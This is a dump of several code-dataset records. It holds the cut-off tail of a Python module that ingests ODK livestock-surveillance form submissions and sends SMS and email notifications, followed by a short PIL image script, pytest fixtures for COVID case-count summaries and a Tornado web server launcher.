be used as series\n            3rd column contains the counts\n\n        Generate series that can be used in highcharts, like:\n        series: [{\n            name: 'Tokyo',\n            data: [49.9, 71.5, 106.4, 129.2, 144.0, 176.0, 135.6, 148.5, 216.4, 194.1, 95.6, 54.4]\n\n        }, {\n            name: 'New York',\n            data: [83.6, 78.8, 98.5, 93.4, 106.0, 84.5, 105.0, 104.3, 91.2, 83.5, 106.6, 92.3]\n\n        }, {\n            name: 'London',\n            data: [48.9, 38.8, 39.3, 41.4, 47.0, 48.3, 59.0, 59.6, 52.4, 65.2, 59.3, 51.2]\n\n        }, {\n            name: 'Berlin',\n            data: [42.4, 33.2, 34.5, 39.7, 52.6, 75.5, 57.4, 60.4, 47.6, 39.1, 46.8, 51.1]\n\n        }]\n        \"\"\"\n\n        # get the unique metrics to use as well as put the data in a dictionary which is easy to query\n        metrics = []\n        dates = []\n        series_data = defaultdict(dict)\n        series = defaultdict(dict)\n        for node in data:\n            t_date = str(node[0])\n            t_metric = str(node[1])\n            t_count = int(node[2])\n\n            # create our unique metrics\n            if t_metric not in metrics:\n                metrics.append(t_metric)\n                series[t_metric] = {'name': t_metric, 'data': []}\n\n            # create our unique dates\n            if t_date not in dates:\n                dates.append(t_date)\n\n            series_data[t_date][t_metric] = t_count\n\n        for t_date in dates:\n            for t_metric in metrics:\n                try:\n                    # try to append the data if its there, if the data doesn't exist it will throw an exception where we shall add a 0\n                    series[t_metric]['data'].append(series_data[t_date][t_metric])\n                except Exception:\n                    series[t_metric]['data'].append(0)\n\n        # now lets remove the series names from the series\n        clean_series = []\n        for t_serie in series:\n            clean_series.append(series[t_serie])\n\n        # terminal.tprint(json.dumps(series_data), 'okblue')\n        # terminal.tprint(json.dumps(clean_series), 'okblue')\n\n        return clean_series, dates\n\n    def schedule_notification(self, template, recipient, message):\n        # This function should be in the notifications module, but due to cyclic dependancies, we include it here\n        try:\n            # if we are using PostgreSQL, there is no need to plug the timezone\n            if re.search('livhealth$', settings.SITE_NAME, re.IGNORECASE) is None: \n                cur_time = timezone.localtime(timezone.now())\n            else:\n                cur_time = datetime.now()\n            # print(message)\n            queue_item = SMSQueue(\n                template=template,\n                message=message,\n                recipient=recipient,\n                # recipient_no=recipient.cell_no if recipient.cell_no else recipient.alternative_cell_no,\n                recipient_no='+254720000097' if settings.DEBUG else recipient.cell_no if recipient.cell_no else recipient.alternative_cell_no,\n                msg_status='SCHEDULED',\n                schedule_time=cur_time.strftime('%Y-%m-%d %H:%M:%S')\n            )\n            queue_item.full_clean()\n            queue_item.save()\n        except Exception as e:\n            terminal.tprint(str(e), 'fail')\n            sentry.captureException()\n            raise Exception(str(e))\n\n    def send_email(self, subject, recipients, text_content, html_content):\n        # This function should be in the notifications module, but due to cyclic dependancies, we include it here\n        msg = EmailMultiAlternatives(subject, text_content, settings.DEFAULT_FROM_EMAIL, recipients)\n        msg.attach_alternative(html_content, \"text/html\")\n        msg.send()\n\n\nordinal = lambda n: \"%d%s\" % (n, \"tsnrhtdd\"[(n/10%10!=1)*(n%10<4)*n%10::4])\n\n\n# lets capture the missing information when processing and then send a notification to the admin\nmissing_info = {}\ndef auto_process_submissions():\n    terminal.tprint('Starting the auto process function', 'warn')\n    odk_forms = OdkForms(None)\n\n    # get all the forms and process the forms matching the criteria like 'dsf'\n    all_forms = odk_forms.refresh_forms()\n    if all_forms is None: return None\n    syndromic_forms = []\n    nd_forms = []\n    abattoir_forms = []\n    agrovet_forms = []\n    for form in all_forms:\n        if form['id'] == '-1':\n            continue\n\n        if re.search(\"_dsf_\", form['full_id']) is not None:\n            syndromic_forms.append(form['id'])\n        elif re.search(\"nd1_\", form['full_id']) is not None:\n            nd_forms.append(form['id'])\n        elif re.search(\"abattoir_\", form['full_id']) is not None:\n            abattoir_forms.append(form['id'])\n        elif re.search(\"agrovets_\", form['full_id']) is not None:\n            agrovet_forms.append(form['id'])\n\n    # lets process the syndromic submissions\n    process_syndromic_submissions(syndromic_forms)\n    process_notifiable_diseases(nd_forms)\n    process_agrovet_records(agrovet_forms)\n    process_abattoir_records_v1(abattoir_forms)\n\n    # loop through the missing information and create an email to the admin\n    try:\n        email_message = ''\n        plain_message = ''\n        has_skipped_subm = False\n        for i_key in missing_info.keys():\n            missing_list = list(set(missing_info[i_key]))\n            if len(missing_list) == 0:\n                continue\n            if i_key == 'missing_mapped_village':\n                cur_message = odk_forms.email_message_inner_template % ('Villages with missing GPS coordinates', ', '.join(list(set(missing_info[i_key]))))\n            elif i_key == 'missing_cdr':\n                cur_message = odk_forms.email_message_inner_template % ('CDRs missing from the recipients list', ', '.join(list(set(missing_info[i_key]))))\n            elif i_key == 'missing_cdr_no':\n                cur_message = odk_forms.email_message_inner_template % ('Reporting CDRs with missing phone numbers in the recipients list', ', '.join(list(set(missing_info[i_key]))))\n            elif i_key == 'skipped_subm':\n                has_skipped_subm = True\n                missing_list = [str(missing_info[i_key][0])]\n                cur_message = odk_forms.email_message_inner_template % ('Number of skipped submissions due to incompatibility of forms ', str(missing_info[i_key][0]))\n\n            plain_message = '\\t%s: %s' % (i_key, ', '.join(missing_list))\n            email_message = \"%s\\n%s\" % (email_message, cur_message)\n\n        # if we only have a skipped_subm skip this email\n        if has_skipped_subm and len(missing_info.keys()) == 1:\n            # we only have skipped subm\n            print('skip sending this email')\n            email_message = ''\n            plain_message = ''\n\n        if email_message != '':\n            # we need to send an email with errors\n            livhealth_admins = Recipients.objects.filter(designation='livhealth_admin').exclude(recipient_email__isnull=True).exclude(recipient_email__exact='').all()\n            recipients = []\n            for admn in livhealth_admins:\n                recipients.append(admn.recipient_email)\n\n            text_content = render_to_string('email-missing-info.txt', { 'message_details': plain_message })\n            html_content = render_to_string('email-missing-info.html', {'message_details': email_message })\n            email_subject = '[%s] Missing details' % settings.SITE_NAME\n\n            odk_forms.send_email(email_subject, recipients, text_content, html_content)\n    except Exception as e:\n        terminal.tprint(str(e), 'fail')\n        # terminal.tprint(json.dumps(subm), 'fail')\n        sentry.captureException()\n\n\ndef process_syndromic_submissions(form_ids):\n    terminal.tprint('\\n\\nProcessing syndromes...', 'warn')\n    odk_forms = OdkForms(None)\n\n    all_submissions = []\n    for form_id in form_ids:\n        this_submissions = odk_forms.fetch_merge_data(form_id, None, 'json', 'submissions', None)\n        if(isinstance(this_submissions, list)):\n            all_submissions = copy.deepcopy(all_submissions) + copy.deepcopy(this_submissions)\n\n    # terminal.tprint(json.dumps(all_submissions), 'ok')\n    # if there is no GPS to use, default to use ILRI's GPS coordinates\n    default_gps = \"-1.2696984092022385 36.726427731756985 1702.0 8.6\"\n\n    try:\n        for subm in all_submissions:\n            # check if the current submission is already processed\n            # I made a blunder by adding a 9 when saving some incidences, lets atone for our sins\n            s_inc = SyndromicIncidences.objects.filter(Q(uuid=subm['_uuid']) | Q(uuid='%s%s' %  (subm['_uuid'],'9')))\n            if s_inc.count() > 0:\n                # terminal.tprint(\"Submission '%s' already processed, continue\" % subm['_uuid'], 'warn')\n                continue\n            else:\n                # some old forms structure were quite wrong and should be omitted\n                # for some strange reason, some forms are missing the village record.... just omit them\n                if subm['_xform_id_string'] in [\"marsabit_dsf_v1\"] or 's1q6_village' not in subm:\n                    if 'skipped_subm' not in missing_info:\n                        missing_info['skipped_subm'] = [0]\n                    \n                    missing_info['skipped_subm'][0] = missing_info['skipped_subm'][0] + 1\n                    continue\n\n                # terminal.tprint(json.dumps(subm), 'fail')\n                # we have a submission to process\n                datetime_subm = timezone.make_aware(datetime.strptime(subm['_submission_time'], \"%Y-%m-%dT%H:%M:%S\"))\n                datetime_rep = timezone.make_aware(datetime.strptime(subm['s0q2_start_time'][:23], \"%Y-%m-%dT%H:%M:%S.%f\"))\n                try:\n                    mapped_village = VillageMapping.objects.filter(village_code=subm['s1q6_village'])\n                    if len(mapped_village) > 0:\n                        mapped_village = mapped_village[0]\n                    else:\n                        if 'missing_mapped_village' not in missing_info:\n                            missing_info['missing_mapped_village'] = []\n                        missing_info['missing_mapped_village'].append(subm['s1q6_village'])\n                        raise ValueError(\"Village '%s' not found in the mapping database, use the fall back plan...\" % subm['s1q6_village'])\n\n                    latitude = mapped_village.latitude\n                    longitude = mapped_village.longitude\n                    accuracy = 1\n                    terminal.tprint('\\t%s: Using mapped villages' % subm['s1q6_village'], 'fail')\n                except Exception as e:\n                    # terminal.tprint(str(e), 'warn')\n                    terminal.tprint('\\t%s: Using collected GPS' % subm['s1q6_village'], 'fail')\n                    try:\n                        geo = subm['s1q1_gps'].split()\n                    except KeyError:\n                        geo = default_gps.split()\n\n                    latitude = geo[0]\n                    longitude = geo[1]\n                    accuracy = geo[3]\n\n                new_inc = SyndromicIncidences(\n                    # uuid=subm['_uuid'],\n                    uuid=subm['_uuid'],\n                    datetime_reported=datetime_rep,\n                    datetime_uploaded=datetime_subm,\n                    county=subm['s1q2_county'],\n                    sub_county=subm['s1q3_sub_county'],\n                    ward=subm['s1q5_ward'],\n                    village=subm['s1q6_village'],\n                    reporter=subm['s1q7_cdr_name'],\n                    latitude=latitude,\n                    longitude=longitude,\n                    accuracy=accuracy,\n                    no_cases=int(subm['s2q3_rpt_livestock_count']),\n                    scvo_reporter=subm['s1q4_enum']\n                )\n                new_inc.publish()\n\n                reported_species = []\n                if subm['s2q1_new_cases'] == 'yes':\n                    top_inc = subm['s2q3_rpt_livestock'][0]\n                    for inc in subm['s2q3_rpt_livestock'][0]['s2q7_rpt_syndromes']:\n                        # terminal.tprint(json.dumps(inc), 'warn')\n                        end_date = inc['s2q13_end_date'] if inc['s2q12_still_persistent'] == 'no' else None\n                        reported_species.append(top_inc['s2q4_cur_livestock'])\n                        inc_det = SyndromicDetails(\n                            incidence=new_inc,\n                            species=top_inc['s2q4_cur_livestock'],\n                            syndrome=inc['s2q8_cur_syndrome'],\n                            start_date=inc['s2q11_start_date'],\n                            end_date=end_date,\n                            herd_size=int(inc['s2q14_herd_size']),\n                            no_sick=int(inc['s2q15_no_sick']),\n                            no_dead=int(inc['s2q16_no_dead']),\n                            clinical_signs=inc['s2q10_clinical_signs'],\n                            prov_diagnosis=inc['s2q17_prov_diagnosis']\n                        )\n                        inc_det.publish()\n\n                # schedule to send a SMS to the CDR\n                # get the CDR who reported this incidence\n                try:\n                    cdr = Recipients.objects.filter(username=subm['s1q7_cdr_name']).get()\n                    if cdr.cell_no is None and cdr.alternative_cell_no is None:\n                        if 'missing_cdr_no' not in missing_info:\n                            missing_info['missing_cdr_no'] = []\n                        missing_info['missing_cdr_no'].append(subm['s1q7_cdr_name'])\n                        continue\n                    template = MessageTemplates.objects.filter(template_name='CDR Feedback').get()\n                    message = template.template % (cdr.first_name, subm['s1q6_village'].upper(), ', '.join(reported_species).upper(), datetime_rep.strftime(\"%d/%m/%Y\"))\n                    odk_forms.schedule_notification(template, cdr, message)\n                except Recipients.DoesNotExist:\n                    # missing a CDR in the recipients list. Ask the admin to update the list\n                    # terminal.tprint(json.dumps(subm), 'fail')\n                    if 'missing_cdr' not in missing_info:\n                        missing_info['missing_cdr'] = []\n                    missing_info['missing_cdr'].append(subm['s1q7_cdr_name'])\n\n    except Exception as e:\n        terminal.tprint(str(e), 'fail')\n        # terminal.tprint(json.dumps(subm), 'fail')\n        sentry.captureException()\n\n\ndef process_notifiable_diseases(form_ids):\n    terminal.tprint('\\n\\nProcessing notifiable diseases submissions...', 'warn')\n    odk_forms = OdkForms(None)\n\n    all_submissions = []\n    for form_id in form_ids:\n        this_submissions = odk_forms.fetch_merge_data(form_id, None, 'json', 'submissions', None)\n        if(isinstance(this_submissions, list)):\n            all_submissions = copy.deepcopy(all_submissions) + copy.deepcopy(this_submissions)\n\n    # terminal.tprint(json.dumps(all_submissions), 'ok')\n    # if there is no GPS to use, default to use ILRI's GPS coordinates\n    default_gps = \"-1.2696984092022385 36.726427731756985 1702.0 8.6\"\n\n    try:\n        for subm in all_submissions:\n            # check if the current submission is already processed\n            nd_report = NDReport.objects.filter(uuid=subm['_uuid'])\n            if nd_report.count() == 1:\n                # this report is already processed\n                continue\n            else:\n                # we have a submission to process\n                # terminal.tprint(json.dumps(subm), 'ok')\n                # print \"\"\n                # continue\n\n                # for some strange reason the location information is missing... so just ski this submission\n                if 's1q5_village' not in subm:\n                    continue\n\n                datetime_subm = timezone.make_aware(datetime.strptime(subm['_submission_time'], \"%Y-%m-%dT%H:%M:%S\"))            # datetime_uploaded\n                datetime_rep = timezone.make_aware(datetime.strptime(subm['s0q2_start_time'][:23], \"%Y-%m-%dT%H:%M:%S.%f\"))      # datetime_reported\n                try:\n                    mapped_village = VillageMapping.objects.filter(village_code=subm['s1q5_village']).filter(latitude__isnull=False)\n                    if len(mapped_village) > 0:\n                        mapped_village = mapped_village[0]\n                        latitude = mapped_village.latitude\n                        longitude = mapped_village.longitude\n                        accuracy = 1\n                        terminal.tprint('\\t%s: Using mapped villages' % subm['s1q5_village'], 'fail')\n                    else:\n                        if 'missing_mapped_village' not in missing_info:\n                            missing_info['missing_mapped_village'] = []\n                        missing_info['missing_mapped_village'].append(subm['s1q5_village'])\n                        raise ValueError(\"Village '%s' was not found in the mapping database...\" % subm['s1q5_village'])\n\n                except Exception as e:\n                    # terminal.tprint(str(e), 'warn')\n                    # terminal.tprint('\\t%s: Using collected GPS' % subm['s1q5_village'], 'fail')\n                    try:\n                        geo = subm['s1q1_gps'].split()\n                    except KeyError:\n                        # resort to the default gps\n                        geo = default_gps.split()\n\n                    latitude = geo[0]\n                    longitude = geo[1]\n                    accuracy = geo[3]\n\n                # generate the ND report object instance\n                nd_report = NDReport(\n                    uuid=subm['_uuid'],\n                    datetime_reported=datetime_rep,\n                    datetime_uploaded=datetime_subm,\n                    county=subm['s1q2_county'],\n                    sub_county=subm['s1q3_sub_county'],\n                    ward=subm['s1q4_ward'],\n                    village=subm['s1q5_village'],\n                    reporter=subm['s1q5_village'] if 's1q5_village' in subm else None,\n                    latitude=latitude,\n                    longitude=longitude,\n                    accuracy=accuracy,\n                    org_survey=subm['s2q14_organisation'],\n                    nd_date_started=subm['s1q7_date'],\n                    nd_date_reported=subm['s1q8_date']\n                )\n                nd_report.publish()\n\n                for disease in subm['s2q2_rpt_disease']:\n                    for specie in disease['s2q5_rpt_animal_species']:\n                        # terminal.tprint(json.dumps(specie), 'fail')\n                        nd_detail = NDDetail(\n                            nd_report=nd_report,\n                            disease=disease['s2q2_cur_disease_label'],\n                            species=specie['s2q5_cur_animal_species_label'],\n                            diagnosis_type=disease['s2q3_diagnosis'],\n                            production_system=specie['s2q10_prod_sys'],\n                            is_zoonotic=specie['s2q11_zoonosis'] if(specie['s2q11_zoonosis'] == 0 or specie['s2q11_zoonosis'] == 1) else None,\n                            no_risk=specie['s2q6_risk_nos'],\n                            no_sick=specie['s2q7_sick_nos'],\n                            no_dead=specie['s2q8_death_nos'],\n                            measure_taken=specie['s2q12_measure']\n                        )\n\n                        if 's2q13_vaccination_nos' in specie:\n                            nd_detail.no_vaccinated = specie['s2q13_vaccination_nos']\n\n                        if 's2q9_salughtered_nos' in specie:\n                            nd_detail.no_slaughtered = specie['s2q9_salughtered_nos']\n\n                        nd_detail.publish()\n\n    except Exception as e:\n        terminal.tprint(str(e), 'fail')\n        # terminal.tprint(json.dumps(subm), 'fail')\n        sentry.captureException()\n\n\ndef process_abattoir_records_v1(form_ids):\n    terminal.tprint('\\n\\nProcessing abattoir submissions...', 'warn')\n    odk_forms = OdkForms(None)\n\n    all_submissions = []\n    for form_id in form_ids:\n        this_submissions = odk_forms.fetch_merge_data(form_id, None, 'json', 'submissions', None)\n        if(isinstance(this_submissions, list)):\n            all_submissions = copy.deepcopy(all_submissions) + copy.deepcopy(this_submissions)\n\n    # terminal.tprint(json.dumps(all_submissions), 'ok')\n    # if there is no GPS to use, default to use ILRI's GPS coordinates\n    default_gps = \"-1.2696984092022385 36.726427731756985 1702.0 8.6\"\n\n    try:\n        for subm in all_submissions:\n            # check if the current submission is already processed\n            sh_report = SHReport.objects.filter(uuid=subm['_uuid'])\n            if sh_report.count() == 1:\n                # this report is already processed\n                continue\n            else:\n                # we have a submission to process\n                # terminal.tprint(json.dumps(subm), 'ok')\n                # print \"\"\n                # continue\n                datetime_subm = timezone.make_aware(datetime.strptime(subm['_submission_time'], \"%Y-%m-%dT%H:%M:%S\"))            # datetime_uploaded\n                datetime_rep = timezone.make_aware(datetime.strptime(subm['s0q2_start_time'][:23], \"%Y-%m-%dT%H:%M:%S.%f\"))      # datetime_reported\n                try:\n                    geo = subm['s1q7_gps'].split()\n                except KeyError:\n                    # resort to the default gps\n                    geo = default_gps.split()\n\n                latitude = geo[0]\n                longitude = geo[1]\n                accuracy = geo[3]\n\n                # generate the SH report object instance\n                sh_report = SHReport(\n                    uuid=subm['_uuid'],\n                    datetime_reported=datetime_rep,\n                    datetime_uploaded=datetime_subm,\n                    report_date=subm['s0q3_survey_date'],\n                    county=subm['s1q8_county'] if 's1q8_county' in subm else subm['s1q4_county'],\n                    abattoir=subm['s1q5_abattoir_name'] if 's1q5_abattoir_name' in subm else subm['s1q6_abattoir'],\n                    latitude=latitude,\n                    longitude=longitude,\n                    accuracy=accuracy,\n                    reporter=subm['s1q2_ins_name'] if 's1q2_ins_name' in subm else subm['s1q7_ins_name'],\n                    animal_source=subm['s1q4_animal_source'] if 's1q4_animal_source' in subm else subm['s2q1_animal_source']\n                )\n                sh_report.publish()\n                # print \"report ok\"\n\n                # get the species in this report\n                # The form has an error in that I can't link species and body parts, so we are going to get the first specie\n                if 's2q1_rpt_animal_species' in subm:\n                    specie = subm['s2q1_rpt_animal_species'][0]\n\n                    # loop to get the no of animals slaughtered\n                    slaughter_count = 0\n                    rejected_count = 0\n                    for anim_cat in specie['s2q2_rpt_animal_category']:\n                        for age_grp in anim_cat['s2q3_rpt_animal_age']:\n                            slaughter_count = slaughter_count + int(age_grp['s2q4_consignment_nos'])\n                            rejected_count = rejected_count + int(age_grp['s2q6_rejected_nos'])\n\n                    sh_specie = SHSpecies(\n                        sh_report=sh_report,\n                        specie=specie['s2q1_cur_animal_species_label'],\n                        no_slaughtered=slaughter_count,\n                        no_condemned=rejected_count,\n                    )\n                    sh_specie.publish()\n                    # print \"specie ok\"\n\n                    # now lets get the body parts\n                    for b_part in subm['s3q1_rpt_body_part']:\n                        all_lesions = b_part['s3q5_lesions'].split()\n                        for lesion in all_lesions:\n                            sh_part = SHParts(\n                                sh_specie=sh_specie,\n                                body_part=b_part['s3q1_cur_body_part_label'],\n                                lesions=lesion,\n                                no_condemned=b_part['s3q4_condemned_nos'],\n                                sample_collected=False if b_part['s3q6_samples'] == 'no' else True\n                            )\n                            sh_part.publish()\n                            # print \"body part ok\"\n                elif 's2q4_rpt_species' in subm:\n                    for specie in subm['s2q4_rpt_species']:\n                        sh_specie = SHSpecies(\n                            sh_report=sh_report,\n                            specie=specie['s2q6_cur_specie_name'],\n                            no_slaughtered=specie['s2q8_no_slaughtered'],\n                            no_condemned=specie['s2q8_no_condemned'],\n                        )\n                        sh_specie.publish()\n\n                        # now lets save the body parts\n                        if int(specie['s2q10_rpt_body_part_count']) != 0:\n                            for b_part in specie['s2q10_rpt_body_part']:\n                                all_lesions = b_part['s2q15_lesions'].split()\n                                for lesion in all_lesions:\n                                    sh_part = SHParts(\n                                        sh_specie=sh_specie,\n                                        body_part=b_part['s2q12_cur_body_part_label'],\n                                        lesions=lesion,\n                                        no_condemned=b_part['s2q14_no_condemned'],\n                                        sample_collected=False if specie['s2q16_samples'] == 'no' else True\n                                    )\n                                    sh_part.publish()\n                        elif specie['s2q8_no_slaughtered'] == specie['s2q8_no_condemned']:\n                            # we condemned a whole carcass\n                            sh_part = SHParts(\n                                sh_specie=sh_specie,\n                                body_part='Whole Carcass',\n                                lesions='Not Specified',\n                                no_condemned=b_part['s2q8_no_condemned'],\n                                sample_collected=False if specie['s2q16_samples'] == 'no' else True\n                            )\n                            sh_part.publish()\n\n    except Exception as e:\n        if settings.DEBUG: terminal.tprint(str(e), 'fail')\n        logger.error(traceback.format_exc())\n        # terminal.tprint(json.dumps(subm), 'fail')\n        sentry.captureException()\n\n\ndef process_agrovet_records(form_ids):\n    terminal.tprint('\\n\\nProcessing agrovet submissions...', 'warn')\n    odk_forms = OdkForms(None)\n\n    all_submissions = []\n    for form_id in form_ids:\n        this_submissions = odk_forms.fetch_merge_data(form_id, None, 'json', 'submissions', None)\n        if(isinstance(this_submissions, list)):\n            all_submissions = copy.deepcopy(all_submissions) + copy.deepcopy(this_submissions)\n\n    # terminal.tprint(json.dumps(all_submissions), 'ok')\n    # if there is no GPS to use, default to use ILRI's GPS coordinates\n    default_gps = \"-1.2696984092022385 36.726427731756985 1702.0 8.6\"\n\n    try:\n        for subm in all_submissions:\n            # check if the current submission is already processed\n            # print(subm['_uuid'])\n            ag_report = AGReport.objects.filter(uuid=subm['_uuid'])\n            # print(ag_report[0].uuid)\n            if ag_report.count() == 1:\n                # this report is already processed\n                # print('Already processed...')\n                # ag_report.delete()\n                continue\n            else:\n                # we have a submission to process\n                # if 's2q1_rpt_drug_sold' in subm:\n                #     terminal.tprint(subm['s2q1_rpt_drug_sold'][0]['s2q2_syndromes'], 'ok')\n                # print('Adding...')\n                # continue\n                datetime_subm = timezone.make_aware(datetime.strptime(subm['_submission_time'], \"%Y-%m-%dT%H:%M:%S\"))            # datetime_uploaded\n                datetime_rep = timezone.make_aware(datetime.strptime(subm['s0q2_start_time'][:23], \"%Y-%m-%dT%H:%M:%S.%f\"))     # datetime_reported\n                try:\n                    geo = subm['s1q7_gps'].split()\n                except KeyError:\n                    # resort to the default gps\n                    geo = default_gps.split()\n\n                latitude = geo[0]\n                longitude = geo[1]\n                accuracy = geo[3]\n\n                # generate the SH report object instance\n                ag_report = AGReport(\n                    uuid=subm['_uuid'],\n                    datetime_reported=datetime_rep,\n                    datetime_uploaded=datetime_subm,\n                    report_date=subm['s0q3_survey_date'],\n                    county=settings.COUNTY_NAME,\n                    agrovet_name=subm['s1q1_agrovet_name'],\n                    outlet_name=subm['s1q2_outlet_name'] if 's1q2_outlet_name' in subm else subm['s1q6_agrovet_stockists'],\n                    latitude=latitude,\n                    longitude=longitude,\n                    accuracy=accuracy\n                )\n                ag_report.publish()\n                # print \"report ok\"\n\n                # generate the drug report\n                if 's2q2_syndromes' in subm:\n                    # print(\"s2q2_syndromes...\")\n                    for drug in subm['s2q1_rpt_drug_sold']:\n                        ag_detail = AGDetail(\n                            ag_report=ag_report,\n                            syndrome=subm['s2q2_syndromes'],\n                            syndrome_start_date=drug['s2q4_date_started'],\n                            drug_sold=drug['s2q1_cur_drug_label'],\n                            drug_quantity=1,                                # assume its 1 since the quantity is not indicated\n                            farmer_location=drug['s2q5_location']\n                        )\n                        ag_detail.publish()\n                    # print \"detail ok\"\n                elif 's2q1_rpt_drug_sold' in subm:\n                    # print(\"s2q1_rpt_drug_sold...\")\n                    for drug in subm['s2q1_rpt_drug_sold']:\n                        syndromes = drug['s2q2_syndromes'].split()\n                        for syndrome in syndromes:\n                            ag_detail = AGDetail(\n                                ag_report=ag_report,\n                                syndrome=syndrome,\n                                syndrome_start_date=drug['s2q4_date_started'],\n                                drug_sold=drug['s2q1_cur_drug_label'],\n                                drug_quantity=subm['s2q1_rpt_drug_sold_count'],\n                                farmer_location=drug['s2q5_location']\n                            )\n                            ag_detail.publish()\n                elif 's2q1_rpt_syndromes' in subm:\n                    # print(\"s2q1_rpt_syndromes...\")\n                    for syndrome in subm['s2q1_rpt_syndromes']:\n                        drugs = syndrome['s2q2_drugs_sold'].split()\n                        for drug in drugs:\n                            ag_detail = AGDetail(\n                                ag_report=ag_report,\n                                syndrome=syndrome['s2q1_cur_syndromes_label'],\n                                syndrome_start_date=syndrome['s2q4_date_started'],\n                                drug_sold=drug,\n                                drug_quantity=syndrome['s2q3_drug_qty'],\n                                farmer_location=syndrome['s2q5_location']\n                            )\n                            ag_detail.publish()\n                        # print \"detail ok\"\n\n    except Exception as e:\n        terminal.tprint(str(e), 'fail')\n        # terminal.tprint(json.dumps(subm), 'fail')\n        sentry.captureException()\n","repo_name":"badili/livhealth_scripts","sub_path":"odk_forms.py","file_name":"odk_forms.py","file_ext":"py","file_size_in_byte":126178,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"41253624146","text":"\nimport time\nfrom PIL import Image\n\n# img = pl.imread(\"../image/img_tu.png\")\n\n#//获取图片大小\n# size = img.shape\n# print(size)\nimg = Image.open('img_tu.png').convert('L')\nsize = img.size\n\n\nprint(size)\n# img.show()\nim = img.load()\nprint(size[1])\ni=55\n\nwhile i < 130:\n    j = 501\n    while j < 580:\n        im[j, i] = 0\n        # print('水平像素：%s的像素值%s' % (i, value))\n        j += 1\n    i +=1\n\n\nimg.show()\n\n\n\n\n'''\n\ncv2.imshow(\"验证码\", img)\ncv2.waitKey(0)\ncv2.destroyAllWindows()\n\n'''\n","repo_name":"dinghero/py-Reptile","sub_path":"res/test/tu.py","file_name":"tu.py","file_ext":"py","file_size_in_byte":508,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"19490138849","text":"from pytest import fixture\nfrom pandas import DataFrame\n\nfrom ..helpers.summary import CategorySummary\n\ndef make_dataframe(data_as_dict):\n  data_as_list = []\n  for key in data_as_dict:\n    for pair in data_as_dict[key]:\n      data_as_list.append({'location': key, 'day': pair[0], 'count': pair[1]})\n  return DataFrame(data_as_list)\n\n@fixture\ndef basic_dataframe():\n  return make_dataframe({'World': [(0, 15)], 'United States': [(0, 5)]})\n\n@fixture\ndef exponential_dataframe():\n  return make_dataframe({'foo': [\n    (6, 600),\n    (7, 720),\n    (8, 864),\n    (9, 1034),\n    (10, 1244),\n    (11, 1493),\n    (12, 1792),\n    (13, 2150),\n    (14, 2580),\n    (15, 3096),\n    (16, 3715)\n  ]})\n\n@fixture\ndef logistic_dataframe():\n  return make_dataframe({'foo': [\n    (1, 427),\n    (2, 504),\n    (3, 593),\n    (4, 695),\n    (5, 812),\n    (6, 943),\n    (7, 1091),\n    (8, 1254),\n    (9, 1433),\n    (10, 1627),\n    (11, 1833),\n    (12, 2049),\n    (13, 2273),\n    (14, 2500),\n    (15, 2727),\n    (16, 2951)\n  ]})\n\n@fixture\ndef small_value_dataframe():\n  return make_dataframe({'foo': [(0, 1)]})\n\n@fixture\ndef category_summary_exponential():\n  return CategorySummary('foo', make_dataframe({'foo': [\n    (1, 8),\n    (2, 12),\n    (3, 18),\n    (4, 27)\n  ]}))\n\n@fixture\ndef category_summary_in_slowdown():\n  return CategorySummary('bar', make_dataframe({'bar': [\n    (1, 427),\n    (2, 504),\n    (3, 593),\n    (4, 695),\n    (5, 812),\n    (6, 943),\n    (7, 1091),\n    (8, 1254),\n    (9, 1433),\n    (10, 1627),\n    (11, 1833),\n    (12, 2049),\n    (13, 2273),\n    (14, 2500),\n    (15, 2727),\n    (16, 2951)\n  ]}))\n\n@fixture\ndef small_category_summary():\n  return CategorySummary('foo', make_dataframe({'foo': [\n    (1, 8),\n    (2, 12)\n  ]}))\n","repo_name":"GerryFudd/covid19","sub_path":"test/fixtures.py","file_name":"fixtures.py","file_ext":"py","file_size_in_byte":1721,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"20382731904","text":"import logging\nimport asyncio\n\nimport tornado.web\nimport tornado.httpserver\nimport asyncio_application\n\nlogger = logging.getLogger(__name__)\nhttp_server = None\n\ndef start(url_handlers, port=80, address='', settings=None, http_server_args=None):\n    '''\n    Start the Tornado web server.\n\n    This call is blocking as it starts the event loop.\n    '''\n    if settings is None:\n        settings = {}\n    if http_server_args is None:\n        http_server_args = {}\n\n    # Create Tornado application\n    tornado_app = tornado.web.Application(url_handlers, **settings)\n\n    # Create a new HTTPServer\n    global http_server\n    http_server = tornado.httpserver.HTTPServer(tornado_app, **http_server_args)\n\n    # Start listening\n    http_server.listen(port, address)\n\n    loop = asyncio.get_event_loop()\n\n    # Log on next loop iteration\n    loop.call_soon(lambda: logger.info('Started web server'))\n\n    # Start the asyncio application (blocking – starts event loop)\n    asyncio_application.start()\n\n    # When we get here, the asyncio application has been shutdown and the loop\n    # has stopped. So we run the shutdown procedure.\n    loop.run_until_complete(shutdown())\n\n\nasync def shutdown():\n    # Stop the HTTPServer from listening for new connections.\n    http_server.stop()\n\n    # Close all connections\n    await http_server.close_all_connections()\n","repo_name":"mukulmajmudar/tornado_web_server","sub_path":"src/tornado_web_server/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1351,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
